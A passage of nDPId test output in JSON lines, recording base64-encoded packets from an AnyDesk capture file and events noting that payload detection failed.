e+0tlQ53Oe4LErsryv\/9ZNgoYqnJMHBsHWpJHRmqRuu4knPUtjqdMrJdgFy8APuucNdFngtQjFOY0asCoJGsmctmTbb\/TQIua9cZUF6MJm3W+eXboZkZzNx6cttzQqGWc7lPMTeJLG2IA6I9iXrq8gO5V9\/PNrleYPSVVk4vFnO8BwELw+PWybicibNxnXqzQwHrFjvhpV1Zq45FYLDPDPFyEYXSXba4a0RZTgQ7jDIGG2GkJtVcVkS\/nDhNl\/qs4I987sLIcb1z9X0xz6D42MhoII6WVTfR1zx\/JIKFSIh7+vL9VcpOlxHJEltfnEwjwz+BtsHNOBC3hA9x7jTNd3WAXyA5HQHrXnNtAOPS1I6++1wGUkUtqh3waMLYxB0pT3oXwRDjRT3NR0QaKYUWt6He93jsZ9QXJcTbs\/5gV4c+xAaqQY17JbsWuYKbRiej8yyutGQLZMFb34YncplfNyN1fuBzpPGHu0XF+crqzpJdbhSP9mJLGrDSAZR6aHGBQzHk8i6LSbBLP3kov4U9TDIwdpP3kGV1Uj9LpEEKtM1bdQTrTD21QoB9T3VhnStk6\/UvQPrpRi46OOjwh8NB21U2Pz0e4yGeEf3pcfBrN7vbTm4BA56KuwxNolPN3iQT2MNnJiAuwY5vi81FVa0kTMF2WDRb86MKxJNn\/ctpCJr5+6UcaLMB1XAJGEOLTEcS2INvUlk2XvYQBpPZNcZvGwU3+NvMmnQn8k5jyZ9MO7NvTt5F0bH1hKAk1m3aZ6wsm0DaX2S5eTq7taQ7BOL+WD5CDoaG7eS5qxSyGQFPeSGGQMcsv\/d0McplZgPo+BIE6\/+6euP3jw1zuWQSh25YL3CHtqVd+F\/0DrHdk6aVZTjBxdlthTLhfV4U\/uF5hpbaTZelE+sH0X\/83qRwyQRWmF+nq1r\/g3Tonc7eQLhSJin03VQU3xN9KOEfupYIrxssrdNUQ6Wo6rd95MxPiYwfBzI3yAPu3z0yMtoQBNFiGBrZyW9Y01u0uqAGQoKhaUEVKkIfbIwqVJ3kclrwq6cfBNvM44SNK1cWAME7yBSRB0cCbopWfwuXUZfBFINj8+H7gbVzH8NurFhLSsTeoos2UArnXgs\/7CqLuRsPqlWaPubFeoK3EjLKd7pc+4XZF79PMllLEShs5dRvbvxpvQ0Zzf5RRJlBBFY2cK4G7SQ3+cLnsWc489NqYDx8d18OE7qBj\/5d9tLSWUpeUXc+170mAe5Jj\/bQb1bHZ4Ybkow61AoT0mUADKwmHRUw31Vd6X395BaZhy1ozQDS8im7XT3wo+s2f4OcUxSR9kwxXvmPAjhhqFMQFSLZ4KqexuIGmX\/Il9CWWMeAzMvFPz7Ok\/wYOrj5kPZk1ewu+aDCM5kaL9WUPFTfMd4pqZJYZSXDsiYqKpVKj93jYZWe7+xAgBoCUdUB0PgTEWuKNYO36VxoIagMNDuPMPfgIrSyWy0Fdl+GJwGicEb4X2RDwqAQx14JGi+XtfBIx7FBYbde826MDQ7hUyI\/M96opT9IvLKVkWdZH0RmMtfVVOVCftMaY\/NgUKrUPSF7Zc06B2Fk\/f9mrYLSBVAgjs3QjDW6o00LLY1zwXjGGAJ7Dig4Q0VMD6Uo3rgqb+6MoXpH6iNMUqi7JlC3ap7SxBHN6nRu44zEV\/eVcnj0ZOytYIfe3rIOHu76eXVAeTyCZCz22LGhbZFU3BiuSNWeAmze4egaq3I8ZLg+XHEiZicsL5R3yJ7MzN\/cXnL1VfFcLXWNMK51hSjaBBPtw9\/5sxafL8dNQoRsQMAmozMAdU5wkOfLEom1wvEncFYM\/K6L4+z5kHMp5pKOton+M6zvAWqgbwXGxkUt7MgaptnIxWo7GGcUqjv1JZFpRE3Edo+4CB66jOy0XUIl\/4D91rF5zNavrFw+OtW9ivPR+fh\/wKoJ1hkLZWJvsIUT\/TfuFCDutN2Ke49jHuPlKCQu8LxuKurnp9iz0rV7yI4QyGBmHAUYndO8jA1Im3tKEPAcXZcNFUYGPKquex\/7GK23d1D7HMRM94khhfzCXOWF2xmWJtVFpThmnnOwZ7ihRWyVVhHsu62VBQNuJXXqTyAiFDDt12HpaXJGGSrloE1qWUsHamR+2pO5mjvYrKru6dvZM7+nuF9a5KNXMGHHLJJmOgJJwxL+g\/w0vYT7KO79YUQ4NHFtZL6K2FaMiDXCP\/HUeUhrKwAAvTNfSHwXPQjkHenlT\/UwyYrEyvpFnMhT5gUJxCYDmp\/++RJrsFxOve81BY41x9f3UX528Qehr4V4Jq8i5rBH2MrBO5vIGZd4oRFpVT1qiPq+tqYfWAIhrVczXnkENPrMG3AKZeA0LWorkLGvUHE1G\/jLJVhG55rOv+k+w9nf01uzgi8JbASKo2adYnb2jyMJp1bx9XNSQwqTnBGjb9ODxmZMYGoNqLAyY8vc772dqJmgYVSUrAfy5ftIuIDSKKHF+e4IpqboqRM2z+bYkvWkeE5CLGi91i\/g0VeEp8aPz3UdqfYRGnOUNIGlzdIZ\/KG0aY4C4wPO7WLApOReA+mEFZlXZdsHwB4NG5h5i\/E3WILPhs0T8YjspNFMTtzjCguYdWJKX7ilv1kfx1taLoLQBxztFhs4ui7Z2PD9HizCADcm3EDMDG9BKIgK10Fz8qOY7sNXfixpfKpaX3K2c\/s8BDbXQg7Fpu8epgGh91IVJjEJdyYIm\/TUEg+j2GcbsSgq6Jf06EbV0QIlGUDpKhsDb4KKQROc9qxu\/RC\/C1Z+16F2KjH3AYLxmjzvCl7H6PZsPaBIMroDz5RwF0ckB7lMOFQmiCCuPX7IAYb0t0UKtRUbSvzFo7gRouBsG4AzbNqxPjXrmTKesF6ST1zYk4XJZdKFZumj6UT\/Au5pvxkhZt5uiV8P5mt6NOF82cgMVB4FTxiYYRWrLQBXRaPkxrlLOYS+fZ3XdmHVGTpV97hk5E4+mwMrRr\/Ra3ghhoCELy2OctVnm2chg\/l8nwvFy9MPaj5eLDyb8Z878Ve+wfmRp3YyngMIbI4jyAbTqDCpOePVdk\/ehERHt9uZ9QPBBngQn5bejFgN\/R4aTX+dDfwVFBU1aO3OnSTlrxk8tyfSMPFkjaPkBe7kYDKiRNUHC9RXF3ZV40FioumJpuZMjNBVewKKMfxvOlFUMECEJMu0VG6vLVojzL+atMtcFkixJ8evu9lrgQzZ5E2WpW6sZf9fX76ttjyJc8Ux\/83W96ysdwiMdU8mLvTmE6scKPASwS86FwlGZE+Lql576z0qWP+jDSbi1xj9ao2rGPGfCiBd5NPzz4hBD8\/OguLoEGjxEPfCGYLnezHg4eEoHDy3hBOk7vHjDmgbx0A29H+nhKkufNRvHBMS7PYJe9DeL5nwqT04pQcpDUxLcAp+Aq\/lGdsq9qcxdFksl44mP15gaNPl0kGq6MxbDopxVe5+iWakBfZvlKhPRd9DW0PNN6cclOQgIr0I2fdduQiF3o61EK2QjV3AOldrxYiXNT9ND\/m4exU7CyrmVUB6m8MFokBIwWeyionG5kOzuEFO\/P\/vfpmr1L3EHVcdhobn\/brl7SONxsC7nZt1XfF5TBmmq8uwiyRR7xQsXixaeUKbeQIXGTM06hVy0QpnZRK7X3hxwFokCXEwR6eLVt3rnZ2Rpzi0j1JBdb8TjM4wTr8hCDKJ6VN8wdtAgLnV5xxXxP+AO4llsdkew6ou6b51i8CGVokx3eQN3troxTWSreFeAl2qvYyeb\/18lwUDOSuHcoGatGnMuYTIOeWuuInOHt+WMQHDnX4ynrj6YZt0SJG6Xxk5AUV9Gy8VlN1PmsVtKloJVNZscmLhL\/K5Do5ljJlFTaBrNHPEYFZlg+LHv7Owuvd5OQJwVdkH\/wjO7z8QKNLPkgHIzy6cDeb4fwL1iTLn\/hpHSxmhqB29jxPhGsmjs95J9owiuFJc27cQkexehgQm\/2gVLz1J3nPOJjqBB76AgEd97J1kp4kpnV7vacGYDYXCZsmUzp4ftw1QZJsLqhy\/E3XxhCYvcbBH9kQ118npXytBo9glmfJGRP3DoJfA29yx6wYqO3p8Azq7yRSaSeifCCWPQ1e4ComHgkQULlUlwpvjku2pO7lwy8AI6XuzBQa4BSRNVapwVTbhNlE3STN68ZtQhcsrOPaYlKM8hptEPicoSyEMkZrPMKMXwLMbq3ezrnrN3wPzM\/NsGpU8cMfI8fr6agVA8Ey4AKANDP5U7RMg4mwQYPJeGGD+3BXY6LTqrLtAN3YMPxuWzo1gAGrYLdqXguiGrnqkWGtURo7jUWwEIGTKHf+9IB5Br5RcTfnixgQrvZfQHpR\/FmzVbe0L8pCymlFRzyonvyZVCx6Cp9LT48HPpVCa7CjLKoOkS3yb0NVe+52tRPLqaCuL0LT+sNLsfdVrcVMiW1g+0WYx4fQe8Ko9CofqPfv1qtScQvBNiQeAkY1+Yk4TMTSOyHxLG7eGrJwBhrK2\/zXKcLpSmJEaQYd9oMP+yk11d0aN77YRwMNLxGHxUBuIqxv2HbYZkceF0SAr5nrkvxdkL8zOzjPCpAPNLFd8eTOYRd2uMv4y8ribag+8H8rTp7M3+A3xKzctCZstLpOxaRABy4gpAjZOVoO1+OviRtKiCQHOb2p0i+RJgi4YmVnMRA+QLjla4qYBvNpRR\/4kFS8NhQD7HUbLbACyDfkEyywjQxo62UoKJpAh14chu2u8kLZjMHLvPxhDVLTqcMeGGG9hB\/s3utO4D5C7w=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":861,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5115} +05386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":864,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":199967,"pkt_caplen":3761,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3761,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAec1AAIAGAADAqAG7wKgBstOUG56PHuPaWcQlRVAYIBGExAAAFwMDDnZZ4hNO+msVY0fC+oL26WQgkmCRmTFiyykVgV7zSDGQwJ\/BqiT4ycw31itwKMu006hkWQoUH5Vyd+rmtwxxi6aVGliOlTMMyUNBOoBBmkKkO+sm63S2cWIIvs756\/CsudO3Vn2wqtt9JIlQu+GPJ7kuaCy9ny2Oi9S8Mm6oxQw8j22RStjxWAab4Noy1nUz0aUchDAzxkwo3C1HOfcK7itSDVWewQhFGTmZrn2aH6QfjSsP3BonlP88AVi5nMR4ibBC584kTq724ao9fbz+JL5E3VM+vILcCeI06735abOJ4C70IfAKYMUO45ihnnkn86XH1foZepdcxvfy36eplCWvFRgBGAWXcHa4X\/DzxH0+knIbKd0JmxoHTY62llbL2ss4FruUMOTv8aa9zz3bWaBVrG+hZdp\/e5J5Nw0eivUe06Xh8NuRhqdTPXu78Lij9bJNobEClsuvJBytU4+YgKaNWMmE+aI42U5xyG+VTH5vK+kWqjxW1NXft6Dtphtf1zUIkCqzJ9yCmn91YY619Dry2bEZdRPirIxtDtmO+c2NuTjQrQ+dozgHFLNbVsBsRdC80c4bDwz5ArlyyqeT+k26+JQg7vC17iwfXRC0s\/HCWwfIG9R1fvK2RAsiv24nGs1rQEC1A6Xbyefk6Wu5T3Xm+Roahu1ZBtWcvwUTR3iPUpj3tPCEYwyBUdSuXLWW24d1rbWtU6v1zpfO\/OHRl\/JpKkLOLBQWzxHa3fHW2WCLM6Hqyw6v9I1wNIoNGlsPGyTuq6o69j2BXqmHTqrEVpBk2\/I462sNOH482FpWxxBm1aOMYgQuWgpWFKRxsQ5CoIyYzuxCXfReZVekYSjDeiiKRYoFpwRghXCUp1sSOs5lVxjvWz\/a9g38nF9fusgdGOm7AUkfsxUEHsLJo\/hgDxgET8JJI5+N5FrSyL1vwaTQgKTzhH3GnMeScNshCTyE16Q++BdULmAUN0VlCV6ktxelZXM3LRWz\/x6Y9oN44N4vZsTjMDjNrrlbgJ1Kd4GO7AHXDdNXSlN+epXw3TCoRWoHy8fLAzRinZ7oRcILevZeBLWjSdkkqij\/l4nviEU20SKpNAxW8zjLXiotQ5yqp4JlggJ0k8u\/z3L8381i4Wi9fohBpJWZCx1dDx5Ui+4hvDlqUNNXj4jv3FCM06J27xd4eRSw67Fk3yNHWynAymYUssnUmBzXXiXhbyEs+E2B2tcvhFolm6qbXkDOv0Q4eVe1l4BcsjOTQdFqQ3qPLJHceM99vhuTP0QF5uAV9KCCyzYAOvx+lSDM9hO1i0X94d2vt2A6IQPUAFUuVF7viI4pj8\/97fGte2svOliPDu5VqOEkpVv\/7sZUzWi4dp\/EbKSad6fZ7x\/sAF3QKhns7NJjV2TAzponWt2x9+E+Sv0DQIS+GFf1ViiI7L67dumLW15hSz28RzWQ9ovTZOTra6n+n+9lIvhjz+IDtp1CnmxzCsbVBEz7xkNkXwBVzLa5ZdAC0Jw76uKhLalRnmuKy8r2O1ljoc4g33mroksdeJ3FiMUtc9xdu1QEyOAx2T5TSGrPZ3C0uKyTYtUagdK2iRlkFbRmQTEu2k8dMI6OY5F34A56QQJuFuD7hpgUirv5zzU0g0jTHeM1hJ67Cj4gXZRLWmzI+3M49lDc5FXLDzfklSS7MzdAqvxy1GOK0hOD3Cwvcyy6YDfa8BmM3Zg1QHIYTMaSRCvK96tgAAvSWAHswYynA2XcjhBXVdlezKsFsUaaXU0XPuuZTNUnn\/1OIDZR9DmjuzoSRBtGzt+rW23YNsM0oW\/I6TQLzvczFoaC7VALCf2prMg6Hp3rYydP1ERNPuAa1vb+dw6MsDOzpMTzkl3vvwnAtEVh\/xQUWJyJ868gxyg4lPSWtyAu4FoAM2JWszTvcx+e1wNI0JLWUYFnKPEnRPtXdx2lFG1jwAlxNzqX1nfS6GF+Cvmc1LV\/3RYL3Nb33DOpkCKuCV\/3XgqHqSBrNNwRXtzN8Fcsz33\/kEluGyHeUavWAhTaFQQdkFgRhZTNcELE1+saZx06WjzVdaTo4ECZO1+y7T\/yIbPAwYc67pD5dYjJUh0xP15al3+Q1rc5YPDFm8NNXEtTb2zyZCvzA18G+xDWiUX7X1ix2H43rVl3nkpTuzykAWE+oJM5OQzc1QI14N+vJ+o+ZYh4Mx9sX5wMup5Ewz57kR7fY1g7KmjigZZ\/NW6MWBpXAIJg5JCAeFeRVNth7tk6J8OVOcKWJJBENINe2j+QVKX7JjuAHcJDcniQ5LjlTPRbQbxWOPZxgvc5aBdquA0HzcYLJjIbqQzPby03wo54ZKAsHwPC6jkMoRO1FguKsuwIF4tw8wUx+Cn8aNVRaTZJIqOdqieU1mosD6cJPpOjCCTE7qKEccCPI0AItVch+reg28C5xHZ6ZskZVvQ0a3NTEA62DQfSFwg+GTJ+IXSAD\/4osvkuksZhj3b60P9BzJKeYP7l4sLmrojWAjlgvnHMC91ZBFkyqTzdsGScsztbm5k42PPTMB1NaIjGkcMsL5p\/1F\/N6\/fA3zmpxSjm2JVEtjZPtPFMzuHajIpqo603Qcw4NYjUCJq+d3xuq2oqrZ0B1V3JwHj\/B3se\/jpHOuHM54PTzCXhSIgKUsIDKflrfMhREJgQCfNK2xL8wnfzs7LCtyD8TTL3dsw0rN58nuEwvZC2cfmEqCfReOzNuGEX7jpdpp6GvN\/FKLfmcumT2GngqIy1MkgsJQ\/W1NsqtAfEWB4cwKWjAoOYJr9mnTj12wqFtzzN7mWpB\/ndCQZcLbK\/WXSlthXA0T9oSF2ZxAubIx+7q8vXnydAJMsFbO1VVMPGPvTRRPIgKg2czNIt62A9w\/4OkrMeAYZIg+rQKlzaZKZDyFeT\/orMVNpfT4AmM1gCHXQltX81RyJAGMn7wdKIc+hAoth0kIyjEaQzmV5ppN3cN6HIns0rKUMM\/I+bmFghpKGi23vEKucVKSGy4UdS1+e4MnwwBbn309SZAIMkj9iGrbjukNQKzFv4YIZYxPVGYVBEpBdzlpLG4eRjQxyYorVIbDSO2iaRpt\/0JlyKouTdj+A+XU5GxGihWGp+Ht77+aQkWrfCIgll9BATZI5Rj64OjWux\/YFFaP7YplPIhaBpDoXQZBAWhfVbn7ueRNRAbmGuDISxx+8\/MoOA4FRwHfd0HlEWwcJwPTrXxwVUHuG06NAkLWYdCCa9HoM7TfdG2E+D65RwpSYDomIQtrow1CR0ciCFPcOmtzMdAcQF9t7+INIQlRXf+xThbb6iLdt285fffwfwvpUozdNNSawdp+Kcoh7B4OPSJgDZAuEmrpJQrYkYn1ZwqMG47V9Y2md5Lfpg0npmahdz9enrf+NVIrD34hSAeC6VS2H8\/25f1E\/x9knnPUmiNvcATdDAkMujEOfInMGdZafLhk9vgPlN7gbxg9mWnIzPX\/3ftESxtSK6Gm83b3Igs\/i7Ys1ee8b4FM2OCbBmtKe0DU2Qjm8U5x6CLinTqhPXBMuzyVppOWJSc\/lcDKMfekIMiYEyrsJNxrhBtTViNwFX3tkDzKDNzkkQDuJDXPoKGUhs2Ty79b9MRD0QfyA2xbMVVcsdht7cWEw+6ozM9mnEParptwu6U5D1xOfxOYHrzww56Hw6+NFYlBBuhO6LyHGxp7ynb8QC5mNHSug8TNtZYsFHREMbc1rdj1WX3lau4hTSgHAaNHnwtTlD4C4FG0\/WsIROg9LTAXmIrOsX45aYwMyLAbqKVCkn4yxzQOj9dwPIucNk+GPX7\/DQ941dnAu9KIJujPVvkezVTh57ogTRRc9ux890zeYKWfW5wz90lXo2vwq8q5sRYgahT6x6WFl7cP3JxGJy5eQePcnLm8pKBDFQSmwCqxbxxM4Ryq3EcVfuImntTxVJrQ1uuKIuNeCsQgWjcDTjKW+CxN5vtUSozlfrUhwR0b2c61\/w07++JTLNIGI+HZ0lxg+5zumF9SW3WYe1KbNPO\/vnNF350Q8TTmfJkAaZRDFoe1XCLaY4cCEX4k2xeILAI6JM9ChBxGLQRCBnEArFXx8tRCmYP7vHdsPVd+BAZh1sMIahbAPtYrqhC2T4c5Z5BqjUukBG0pVNqt6lGEmo7NjvMGLEuG0n+DPclzocPxZT3knqrlOiY3PQI5C1ItLafdaWNRjHptuh\/vCgDLJLaAv3meupGW2kfgQhLdRWb9yLzRpLIp6nkFBYltkqcAgTvrSaBcYZ5M\/UKES7u\/rTuk\/+B7JqHpiEzspWeYeAeKgtVeXLFzt8I6C0O51A2+o1Q\/NY6EdSqMYT08523vVF28tsIz1UMW2m0Yxj3H5QpzmzGRLxpFByNalYpeYYzxcFwxi+PzG6T6O9IHNLYeEIGdVds6prO53XUZ6UMDzJmyLAIbA7DTevDZevIjfxX6Ia0oPd2uGituQwuP8jtlb5UB5r0iz4+KcI+7WC6skHo\/P+HGVFYxPTav+qG2o2WNniCBozZMrTyG76Os+CT+cTvn2YCHvvtPbGaQnmcAcXBgT3etBM0NUa7ULLXyLa3iegnR\/+5kRAbx1Woy0vihIEqUVvNoaciUkky6VygB1mLIgI3OSQW8innQCOGdvRxLh2xiVA\/F9u1d\/KlxCSblHAbhBgmyS4\/Af3rubTx6kYkgiRP1jFGaXaa75CLX39b8gnq\/MZSP6w5bcV4shR0SYhzYQ\/BDmEQUIDqS5TYgLynxRQhLGUfgilINRkCk86CSPRMaOluXl922d59ypp+t9DJFlWEAeuSn1jcHyfIQOrF++jrsv1YDyFHzJTpNlJ5TzH\/BYTKRQxT6YG1Q1qFualhpf1ONvOSX5trJvFaf3hdxUI\/8X0KgIclJmwYQbsadmbpCNX5OigrqFzHqmm\/g9EMHhkZ+38QSWHCdofIf8zpagrf0\/1sEsEDJ6myrrUT+xIFG2VNFgsdoQ="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":864,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3727} +05925{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":873,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":228911,"pkt_caplen":4154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4154,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAed9AAIAGAADAqAG7wKgBstOUG56PHvdBWcQldFAYIBGExAAAFwMDD\/9Z4hNO+msVZZtP+Q7XNdWd4I6ksjcLz5wNuBg9F1ZMcNpZDCaxmbvNot1HozvuZGFf+PCpPfHS5VvcaRvh4a6l2SjvFtJ5aCAcjwDYydNUEJEpJDw4jt9ymLh1ddJ1t8Y9dYy7kmGcoIbnx5MsCiFHDKsEQrOhe8HaZz+zURWJUQVvqszxrfF\/2y2wKUz4Xk45lXvfuODdf4YHztOMiVfuzCBefSDHuNwcOqvENLsPJIVHpzJVtrx7rm4b0y\/pcGEzNwan\/lVORrEBmN1bCU8+B4akKDaESHTNy5NLlZghKeKLJRGd31919BwvfXXNGOVTS+nd3mpQBatj32R2ruBs1Wb8MpdXINOr68sE9IIf2X0Tl4Cvx7pjmaJcG1HxHyv0eJorypShP5gQKy8h1UQA33\/w8CcHnuuCJPCPJL102h2aVoH5VxdZ5oD4TuuYuh8s6dFtLNQtsN6\/0gTzvdWp9Nd1gwRkIAY6+cpYsU9xiEv3ooc0ZE5YCQyTbExzfuRr7VqSpcSKuoNgr45nmhTGsE75nTZrroozEo4I9zx9iLA6HpV8ZQP5AnM5sd7s4xnkbsrmN1ysWu7FVWaR8UWyUs7rG0PNvC1hb\/6+lNQKO5DxYbK6IzjcJEilytEuBmiBqlS2jBgwNCBkcpfpF11BlWxELXU\/mvdF1ERH1yI\/04qvb+vuAkdiyNVzdqb3RJ2UdbUFV+9mR888c3+5qxRt2spvMRCyUIaeKiCPEKJly6CmpfQCTb0RHau6G2qQywGlteuNCmxhUhNYc20vlyO6zZ5rN3PXZGC1hiUIYdI1P+gT3hANnWY8Z220SENOS4TwxKeoI6OceWRyl0QiinsfhpuKGDtLrQ06YzRg0ipV0e4W3TXy7kDlj4uKgJ6vQzt00AsV+0shZL472UCiIdePZtOkonH9uXjY54Q5Ea18jffQsVq\/uRqkDDw7ZMr6ocoaCQeoPIERMij2jT8qEfaRBuyWDhFUGTh0jfShxPqQuAFEf4POQcEjcRB32D3DbZZ6ttw7pSQfXRCoFgTe98UlMxSZSqw6UplORmO\/vloM6qbAVJRf3YmghslZyn4hoPo\/ngxJSitNkeULyGyq8PovX0ddzSfV8X12ghhphOmuCxXeJtzrwYU92DeTi5kPG2kVWpGcPMv0pi5DNw6acO0ZTNh55lexmaxvY5D6IqtsincgWohzRlg3kc47Gn\/a7JEYslylhxsn99Pehwx\/dSxGvrK9Yawt5lzRL4pthXLajo\/cGaMULlXiwnR9dmX+JyPsvTi\/xg9uy1wbUdq+3HsaUQedhjCEdwqWV\/oopRGVvZfCq+s0czSbhpw6zv3APZv07c09XXGELxaUP8TlpmPu1ALMTFEDILhNL6ZnXPh1r1JVT6ZVEvckexrC2vco7Y7XtYE8rVffj+yPxiWYTYS2hQ4xAzU\/3kZfSA6GpNozK9QT6BhPBWxosozEpP0tQALp+2Fzm3LNG4SDHC4pqhIlaRzpPSNzaGZxXQmDbqeE41xSZhjzy0FjeJ6cz8E6CbsYNDp+0Mzez+yHzwL18MZKjrmchUoCuhNeAoqvSiA3BxjQIlPF5ba1JL0hIs1Qp+PFozgOWKXqkS7l5D0XXlfNalAwtaEmC2pZrzJ0u48Fit0cemVd9YBMIR3a+PzgV0tJhjwsn2torN8kqdNGm7Qss4vp9XlnjiBG8uaQxUdLuuSdgHMyaZ9hVqhBW83whgpYLOE4aIA8jwCms6u95c34gx+UJNFNOWl0HkMWTyfV7lcnd3lCyNuH\/ToNQfbEPizPpBtotMb6fxWZ8YIhQ7vRGkucsnhdQhY641M6mO7jmh2JaO2m8wabXIshjpudFBxEfoGLjS\/rIOmVdY1\/kwwhjKWJ6ezyz1hyiITIzvzfsNdk3D6OOhbMnSIqPYrav65X3Iymd8VUyVGBKIJJtFYhg\/NRw9VJH6yh5KAEtdSQmmcdQ9mO0xXJnovF1mohLYr+EulrhW6uliXW\/KhCPmPv2BhTk0csK1edJUXMO3kSTI5jGAuPvDEYGcE7Y2HjItXgnlv9UVd19tZkvW49Cx6SbRG\/UocACkRRI3ULkFQufFNZR8ZdegYjkVQpHHNtfqMAw88gBzYmTFeg2m665aRXImMoUGT\/FMmrzCfo\/M9U8Y1wKRnLhM+pwWv6HMaNfJVhtVTQggKfmGKkHd+eUgS5r4j+pdq7mMnA0wYPArCQbzV7jj2LqzXrYyEfO31F2+FjM9zpsqOUiz48u0nlDjFoGPt6YXCnIrLJeW9MbMCwdAY4SyVJ8DnB76uH17rmUZ1Otc1mYEz+haePdT8K2Zus2SJvoby2vpMNrXgC2FXxZnSKVLu8IywQPpxHP2U5O9wswC5ApEfsq84CT1BkwtuFivdz0lzOOBFhwYZQVIRyK\/ZmWex8+EKfbfmkzO9SY2aZW5wjv1lmFxzPiHtWobCwbsodUpxDDv67kQh+JyexbRGTQ44HeoplEHvc4DupsjsZbrDnrLXBZ3I4BpburxwN72fXlLa7QKmMAz6YWR\/3w9AakTANKcKRKQ7ygrK9bn90+LFla9IRdRuLCMFwbbtxTdxnB1g64ENsYLPwUs5f8ScNyHEyBsJhbu\/ms8BlWND02k8pMOOC6TNasAZvJZhdpTcg\/1NSseG5xHPkgIpLjcccLnaqR94kcwQrPnx85dLiDG\/tVst6RKlPCwhedVfbX67DnRks\/sDtoDZ0ApvVNNX22K2i+BIwbjfhW+WObcsy\/2yHoYKLn77xanjUhplGNtJhjrIKcmsbJyA+7BTDFejnc25qRy43bhRe9\/RQ1\/21XIhjfGa+Kn431HUFn5SNKiLMfz8Xlbgn5n0RQxxIU2RAZ8hWXvW7PJ2eNQh\/ndfD9+USPXC8jEFjnnWDbvxH298piwMFhK14GOs+mN58QwlNpneEQampniBmQYV2G7Z4bQaOQEsfYiODcVCw1\/lwCZ+pcm7TbjVtEqjX2FAwPGvVvGQ79THEVKOZ817jb3lcLgy2KpmajeWfOIz1zXRWXMjW5PkEsyyvntQTa+bRCAWpajfv2lHkKNYlO\/\/DBsRGYAS5aHJ5znQw\/sQvaoGIZp3uhME\/X5pRI1rsGfODdyJzKTh5t4Uv5YwZ+HXAmK6p1BVBWjr9qemuZkR9PgPLY2CoFfuP+m0kOelhOG2Htqe+OwArqVbXYRceiXRn51DrXiUHW9dLC3xhRvfzkPiwjfJprFG1TNHg9poHLKZ8+1WTNT0o6DoobbBDRjVbFg8iBUpGDqlV7eX\/ulLZwsopKTHwOzrhIGVLNlUIp\/7HXkoBDHq6dTbIcFG\/SrRRsI7iCYqV7B5w39smQy06M\/QDeX1IfrIie99FnyJl+jpb1zejb8qqZMHdnqzUeelJr3qMRBoEeZLtF+gKCshy2sG0DS7gWRydLl\/xw9MVTAQUohhXOchsZj1cZSI0fJOO4iHaX+fxFwqdGPjKNM7tgbfnVVrbGLgdYvR65BtIm+eSjxQ38t12OG4P0IFyX\/pZWOm\/ikw+CgPC1eZr6WYTKo0OtP6NYCTk1DS9zI6\/nAIFfDmyrxgecIOWdvbFaL6nbK\/zFPDFTynlfGEETldAQvGgoauGEMM\/\/WaDfYl3J5EPE4DFmLMIOSuNBfLdHzD9MrxW0G423kvuOAZNwJ9Q2tqmOT76S3V7A5dHbdqn2YYYiJxkmbReyYOn\/RE\/7bu+ERDSzUHBugTR1q78p3f+tYpmMVaUfDhZ7zy5eW3KURhGkH7JkzZIe9GnBPzTpsBFeCYZzkxMxJ63ZkTNfoBGoz8RDBMp1Wkid9cZZ6qkzNNRGXEfD9PZgLUIcUpywUUomC+sOMRK11ftJfAo\/As29lEx7D3lo9ZEajnDxmTBMUnRZF3\/EkE5osbveZBonySGfzsjo0qeIWjkuty0ETk1XcC9jiQuym8LkfPO2T3vPum5Pj9CuvG31uEphqsaXu7VaQKDb6usAsyRa28EqmipgVws\/vN7ZqBut7nYHbLIgZjE7FYA4MKumFRPgv+SaZQJl8JYEzxQEGR+w8jsLYQNhdNkcHj8rps\/JRHIwla0Z6kW9QK8QiBte5aaNSr0xJKwsuT8e6oerdn+vtDc7NgrIfQlxd28eL0XMGWP1hSBkUXeIDa46AiswhpwgvoWmRKAMCtAtCW0Fw9b2xwlThC0C4AJiiSPaY2NETYY3pr4\/SlbHWW8vjPJ5TWYB\/t1l3KmJXtaV0RO5K4lqYXq2vbi3ZiKa8VHJxBbTbuR6lQ4YINGZaxs+VWjFmRIBX7jRTVboFi2e0m5hhTK5AVy5V0jbfq+k7k\/Gpvcm+c99a\/2E9\/iKpR7lEsoDSKXP4+zuqcXXTjLOTHoDpc4K4MPkzVZQ0Gp6ivM89mv+NFbXPVsvG7J\/dG3YHhJZHs8dHuvYsJqxLHo9Ddd17\/SVIO2V99f3CeIV+hPWxJsG80x4o0qATh0f056U0tIxQ9N2Cumo5BfQx0rKvu+dPgM9W6FMkeBJeNaexjaXzsktdavnPB283CezecRWPXyl0jypukwd9\/Yhj4SYDFio9LHLY0IcsnIxV0nTshX43u5lsE6gS0AzYqN\/IkN7rTd72VeSHZiK0iBZzHc6xzevIeChnOaMoFRfNfdj3s4GmsGfvk6+eiZxDKbLR6D61ZOXUrLdOi\/YqcrVRKZaFtq9GFRzzORTeKJjcohMe7g52xfAzf9e7ZEkcP+jscxN4cUHmNhTIAkkN32h3MJ8aNeXUfUbeQ1UpB8iTY\/VB+hFW5x6+Xd5F3oJohge59FCs229FSfbqlBLHRjnuH4MO\/O1MXaXYwilR6THppUSddx\/4JMCoVjsIC4aEjCyrDTP94y6rHlrSAyqEdZ1ERIwMKUNLtmI8e+\/NI\/2HSOAZ4afzxFdMxfKeYsO\/15iyGuWMWruCtrpCeX+7Fjrgk\/FZ\/+p7TY8HBE31C8Kk+zkiar+qDwCoVYBmiOjYOniB5kqn1DSERTQIhbBeiQxtToXrLjeNjCPPeI4oP4agEvSrDSp1kdSmgpM4GJtxszR135lrS2nADlz3PFG2N8oD4iA\/vFOUkSU9rKLRP54+8ZyuZDwmX3KhG3ycu8HFt4Xx4aKQSF\/p1L9n6198s4tn8TR3ysJ